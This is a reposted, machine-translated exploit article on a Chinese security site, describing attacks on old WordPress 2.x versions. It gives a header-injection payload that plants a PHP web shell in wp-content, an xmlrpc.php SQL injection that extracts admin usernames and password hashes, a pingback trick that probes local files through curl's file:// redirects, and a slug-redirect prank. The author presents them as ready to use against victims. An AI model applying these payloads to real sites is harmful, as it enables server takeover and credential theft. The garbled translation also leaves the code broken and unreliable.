【Exp】WordPress 博客个人信息发布平台

admin 2021年4月3日18:56:45评论67 views字数 13090阅读43分38秒阅读模式

    这个漏洞很鸡肋,要有一个发表的权限。昨天看了个中文版的,人家要那个啥才肯放出来……,今天看到了个英文版的!一样的利用方式!到底哪个才是原创!

    原文地址:http://img.vul.kr/uploads/20101205/1291540019wordpress-another-0day-exploit.txt

英文原文:

Framework of the preceding article was not allowed to tell me more about some interesting unpublished vulnerabilities and banal omissions WordPressSo now you'll be able to read the continuation of the penetration-testing of the famous blogging platformHere we go!

Statistics
To begin, I want to cite some statistics from a study that was conducted by me in the middle of January this year.
From issuing beloved by all Google was randomly taken 33,534 unique blog running on WordPress, which were then parsed in an attempt to determine their versionHere's what came of it:

1.5.x - 207 blogs (0.6%)
2.0.x - 1624 blog (4.8%)
2.1.x - 1,219 blogs (3.6%)
2.2.x - 2,175 blogs (6.4%)
2.3.x - 4,366 blogs (13%)
2.5.x - 4343 blog (12.9%)
2.6.x - 8,715 blogs (25.9%)
2.7.x - 5,986 blogs (17.8%)
Unknown - 4899 blogs (14.6%)
One can understand that the most popular and represent for you and me, interesting branches are 2.3.x, 2.5.x, 2.6.x, 2.7.x (2.4.x developers have missed for some reason).

At the same time, these branches was found and published a very small number of vulnerabilities (recall that the last sql-injection was in public in the 2.2.2 version).
In the first part I tried to correct this misunderstanding, but as you already knew this was not the last closet Vulnerability WordPress ...

Joke humor
Imagine that on the right we present blog post with the address
http://lamer/wp233/2009/03/20/hello-world
Do you want to annoy /make fun of the admin and make sure that this post had also address such
http://lamer/wp233/2009/03/20/this-is-a-sucker-post
Developers WordPress gladly give you that opportunity! But what it is: a bug or a feature - I do not know:).

To begin a detailed analyze the mechanism of posting comments in the final at this writing, version 2.7.1.

1I've found wp-comments-post.php (as well as the wp-trackback.php), through which all comments have a following code:

 
$ Commentdata = compact ('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
$ Comment_id = wp_new_comment ($ commentdata);

2This function we can easily find in/Wp-includes /comment.php:

function wp_new_comment ($ commentdata)
{
...
$ Comment_ID = wp_insert_comment ($ commentdata);
...
}

3Ibid spend a small reversing:

function wp_insert_comment ($ commentdata)
{
...
if ($ comment_approved == 1)
wp_update_comment_count ($ comment_post_ID);

return $ id;
}
function wp_update_comment_count ($ post_id, $ do_deferred = false)
{
...
elseif ($ post_id) {
return wp_update_comment_count_now ($ post_id);
}
}
function wp_update_comment_count_now ($ post_id)
{
...
do_action ('edit_post', $ post_id, $ post);
return true;
}

4Action edit_post defined in/Wp-includes /default-filters.php:

add_action ('edit_post', 'wp_check_for_changed_slugs');

5Find the desired us to function in/Wp-includes /post.php:

 
function wp_check_for_changed_slugs ($ post_id) {
if (! isset ($ _POST ['wp-old-slug']) | |! strlen ($ _POST ['wp-old-slug']))
...
//If we haven't added this old slug before, add it now
if (! count ($ old_slugs) | |! in_array ($ _POST ['wp-old-slug'], $ old_slugs))
add_post_meta ($ post_id, '_wp_old_slug', $ _POST ['wp-old-slug']);
...
}

6And, actually, what all this code we needed,/Wp-includes /query.php:

 
function wp_old_slug_redirect ()
{
...
$ Query = "SELECT post_id FROM $ wpdb-> postmeta, $ wpdb-> posts WHERE ID = post_id AND meta_key = '_wp_old_slug' AND meta_value = '"$ Wp_query-> query_vars ['name']"'";
...
wp_redirect ($ link, '301 '); //Permanent redirect
exit;
endif;
}

From the analysis above code the following conclusion: if the database for a particular position has a value «_wp_old_slug», then it is carried out a redirect to the real address of the postTo add this value, your comment must be zaappruvlenHow to leave comments without being moderated, you already know the first part of the article:)Now, finally, ready to exploit for our jokes:

 

Title:

URL:

Comment:

Slug:


In the «Slug» insert the new name for a suitable post and link admin to show, watching his reaction.

Unsafe Snoopy
It is time to take another nod to the previous articleAs you may remember, WordPress 2.5.x-2.6.x allows any registered user can easily substitute for RSS-feeds in the DashboardDug out this wonderful bug bit deeper, we can easily achieve the execution of arbitrary code on the server that is running a blog.

So, remember about a discovered zabugornye kodokopatelyami code exec vulnerability in the class Snoopy, which is also present in WordpressItself is a vulnerability in the Snoopy vordpressovskom was patched with escapeshellcmd still in 1.5.x branch, but, nevertheless, the developers have taken, and spoiled quite workable code incomprehensible patch in version 2.6.3.

I guess what they were thinking by looking at the post devbloga with these words:

A vulnerability in the Snoopy library was announced todayWordPress uses Snoopy to fetch the feeds shown in the DashboardAlthough this seems to be a low risk vulnerability for WordPress users, we wanted to get an update out immediately.

Also, when comparing the code of Snoopy WordPress

 
exec (escapeshellcmd ($ this-> curl_path"-D " $ headerfile""$ cmdline_params"" "$ safer_URI."""),$ results, $ return);

- Snoopy code of WordPress

 
exec ($ this-> curl_path"-k-D " $ headerfile""$ cmdline_params"" "escapeshellcmd ($ URI).""", $ results, $ return);

The second code - it is an official patch developers Snoopy, which closes the previous code exec (but does not close a new one)Funny, is not it? Why patch something that was so bad patched? The answers to these questions, we hardly know.

Such negligence of developers revealed to me the way to a remarkable vulnerabilityBut first things first.

1Way from the first part of Article Refine any RSS-feed on the main page the admin, and the address of the stake to its clever script, for example, http://lamer.com/code-exec.php;

2Script code-exec.php should contain the following code:

 
Php
header ('set-cookie: `echo ' php system ($ _GET [aa]);?>'> ./wp-content /test.php` = cooka');
header ("Location: https: //chto-ugodno.com /? feed = rss2");
?>

After making these simple actions to the appropriate blog/Wp-content /test.php flood shellWe now consider, where and why this is possible:

1Only on WordPress 2.6.3, 2.6.5 (2.6.4 was not simple, and in 2.7 Snoopy is almost not used) with an open registration required for editing RSS-feeds;

2Only on systems where the curl is installed in /usr /local /bin /curl (the most common system in such a configuration file - FreeBSD), since this is the notorious hard-coded path in/Wp-includes /class-snoopy.php, plus a binary Kurla verify the existence and enforceability:

 
if (! $ this-> curl_path)
return false;
if (function_exists ("is_executable"))
if (! is_executable ($ this-> curl_path))
return false;

3This works because Snoopy supports forwarding (up to 5 times by default)During it he can set cookies and other hedery to send server-side scriptAs you can see from psevdopatcha over filtration hederov transfer them to the exec () No one, of course, not thought.

4This works not only cookies, but in many other titlesFor example, we will be able to pass arbitrary code in the header HOST follows:

 
Php
header ("Location: https: //lal` my evil command `com");
?>

Sly upload
The next step - a great SQL-injection, the observed companion Elect more than a year ago in all WordPress versions 2.2.x-2.3.xTo use it, user must have the rights «upload_files» (ie, the role of Editor).

Consider the source code interface for remote publishing to WordPress - xmlrpc.php (yes, in this file was found the largest number of SQL-injection engine)The interface of the present method metaWeblog.newMediaObject, which is a direct reference to the function mw_newMediaObjectDraw a small reversing:

1/Xmlrpc.php

 
function mw_newMediaObject ($ args)
{
...
$ Blog_ID = (int) $ args [0];
$ User_login = $ wpdb-> escape ($ args [1]);
$ User_pass = $ wpdb-> escape ($ args [2]);
$ Data = $ args [3];
...
$ Name = sanitize_file_name ($ data ['name']);
$ Type = $ data ['type'];
$ Bits = $ data ['bits'];
...
$ Attachment = array (
'Post_title' => $ name,
'Post_content' =>'',
'Post_type' => 'attachment',
'Post_parent' => $ post_id,
'Post_mime_type' => $ type,
'Guid' => $ upload ['url']
);
//Save the data
$ Id = wp_insert_attachment ($ attachment, $ upload ['file'], $ post_id);
...
}

2/Wp-includes /post.php

 
function wp_insert_attachment ($ object, $ file = false, $ parent = 0)
{
...
$ Object = wp_parse_args ($ object, $ defaults);
extract ($ object, EXTR_SKIP);
...
if ($ update) {
$ Wpdb-> query (
"UPDATE $ wpdb-> posts SET
post_author = '$ post_author',
post_date = '$ post_date',
post_date_gmt = '$ post_date_gmt',
post_content = '$ post_content',
post_content_filtered = '$ post_content_filtered',
post_title = '$ post_title',
post_excerpt = '$ post_excerpt',
post_status = '$ post_status',
post_type = '$ post_type',
comment_status = '$ comment_status',
ping_status = '$ ping_status',
post_password = '$ post_password',
post_name = '$ post_name',
to_ping = '$ to_ping',
pinged = '$ pinged',
post_modified = '"current_time (' mysql')."',
post_modified_gmt = '"current_time (' mysql ', 1 )."',
post_parent = '$ post_parent',
menu_order = '$ menu_order',
post_mime_type = '$ post_mime_type',
guid = '$ guid'
WHERE ID = $ post_ID ");
}
...
}

Tracing the entire path of the variable $ type, you'll find that no one cared about her filter before inserting in SQL-query:)Therefore, we can easily proinzhektit UPDATE query, for example, sending a package to the POST-xmlrpc.php:

Xml version = "1.0" encoding = "UTF-7"?>
wp.uploadFile

1
[IMYA_AVTORA]
[PAROL_AVTORA]


name
xxx.gif


type
gif ', (select concat (user_login ,':', user_pass) from wp_users limit a ))/*


bits
HELLO WORLD!



77

After sending the packet to the blog of the victim hurry to go to the admin panel: Manage => UploadsIn the «URL» in case of successful operation of the exploit you will see the hash and the password admin.

Tricks with Kurlov
Present to your attention yet another vulnerability WordPress (found with the help of Electa), which is to verify the existence of any file on a vulnerable blogAffects all versions of the engine, starting with 2.7.

First you need to say that this is not the vulnerability of WordPress, but rather a feature curl, php-library which is just yuzaet WordPress instead gone into oblivion Snoopy.

Thus, the vulnerability of Kurla is that he can read with pleasure for you not only deleted files on http, but also local with the prefix «file ://»! But as a rule, the prefixes are checked at the entrance to another script and it would seem, «file: //» zayuzat impossibleHowever, no one thought that curl supports forwarding through the flag «CURLOPT_FOLLOWLOCATION»That is, - substituting Kurlya quite normal http, at the output we can get a reading of arbitrary local files (for a detailed advisory of the pioneer look in the footnotes)! In Wordpress a lot of files yuzayut class/Wp-includes /http.php, but now we consider only one of the most affordable pre-auth and procedures for maintenance bugs (to find other ways in admin - your homework:)).
First, consider some particularly important for the operation of the bug chunks of code in the latest version of WordPress (2.7.1):

1/Wp-includes /http.php

 
class WP_Http_Curl {
function request ($ url, $ args = array ()) {
if (! ini_get ('safe_mode') & &! ini_get ('open_basedir'))
curl_setopt ($ handle, CURLOPT_FOLLOWLOCATION, true);

Yes! You see the same flag that is responsible for supporting a round-trip! Next omit arcane code, but I'll just say that by default (of four possible variants) as a transport http-data Wordpress chooses Kurlya:

function wp_remote_get ($ url, $ args = array ()) {
$ ObjFetchSite = _wp_http_get_object ();

return $ objFetchSite-> get ($ url, $ args);
}

2Features outlined above is used/Wp-includes /functions.php:

function wp_remote_fopen ($ uri) {
...
$ Response = wp_remote_get ($ uri, $ options);
...
}

3And finally, this same function is used already a favorite of your interface xmlrpc:

function pingback_ping ($ args) {
...
$ Pagelinkedfrom = $ args [0];
$ Pagelinkedto = $ args [1];
...
//Let's check the remote site
$ Linea = wp_remote_fopen ($ pagelinkedfrom);
...

Now we have everything you need to write an exploit - to which we now proceed.

Was there a video?
As you already figured out, we will act through the mechanism of pingbekov, about which I have repeatedly talked in previous issues] [For work, we need two files available on httpFor example, as follows:
http://lamer.com/ping1/index.php
 and
http://lamer.com/ping2/index.php
Assuming that our blog - lamer.com /blog, and that the test stand is the Wind, will begin work on the necessary files:

1./ping1/index.php

 
Php
header (" Exploit Curl ");
header ("Location: file: ///c:boot.ini", 302);
?>

2./ping2/index.php

Ping2

In this example, the first file will be able to ping the second, thanks to yet another flaw WordPressLook to the mechanism of pings xmlrpc.php:

//Check if the page linked to is in our site
$ Pos1 = strpos ($ pagelinkedto, str_replace (array ('http://www.', 'Http://', 'https: //www.', 'Https ://'),'', get_option ( 'home')));
if (! $ pos1)
return new IXR_Error (0, __ ('Is there no link to us ?'));

In this test does not need to ping a second site was always this blog because we can bypass the check by inserting the address of this very blogFor example, at the end of the URL after the grating.

All set to check for file c:boot.ini on the system under test.

For the exploitation of this vulnerability you need only send the following POST-server package for xmlrpc:

 

pingback.ping

http://lamer.com/ping1/?p=2
http://lamer.com/ping2/?p = [test] # lamer.com /blog


After sending the package you can get two responses from the server:

1If the file c:boot.ini exists, then the blog will send such a response -

Pingback from http://lamer.com/ping1/?p=2 to http://lamer.com/ping2/?p=1 # lamer.com /blog registeredKeep the web talking! 【Exp】WordPress 博客个人信息发布平台

2If no such file exists, then wait for a response -

The source URL does not exist.

By the way, this way it would be quite possible to read the contents of any file system, if pingbek not reduced to a very small number of charactersSo, in a comment-pingbeke you will see only something like:

[...] Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4 X-Powered-By: PHP/5.2.4 popa: 111 Location: file: ///c: boot.ini Content-Length: 0 Connection: close Content-Type: text /html; [...]

The contents of c:boot.ini is somewhere under the cut:)The described method of exploitation is not uniqueIn admin area you can find other function calls wp_get_http (), and which will allow you to read files on the systemFind them - have your job.

To be continued ...
Well, do you still think WordPress sound engine? Do not forget: malignant kodokopateli daily along and across the torment WordPress codebaseAs the saying goes, "To be continued ...":).

INFO
Thank Raz0r for writing code exec exploit for WordPress 2.6.x, as well as Elekt for any vulnerability.

文章来源于lcx.cc:【Exp】WordPress 博客个人信息发布平台

相关推荐: LuManager 2.0.99 渗透成功一次 开贴庆祝

LuManager 2.0.99 渗透成功一次 开贴庆祝 江南的鱼 | 2013-12-25 12:54 有个目标服务器 是 LuManager 2.0.99,服务器上就一个网站,久拿不下。 昨天平安夜,插入XSS,请友人 发入侵修改图【假的入侵图】给 网站客…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日18:56:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Exp】WordPress 博客个人信息发布平台http://cn-sec.com/archives/319332.html

发表评论

匿名网友 填写信息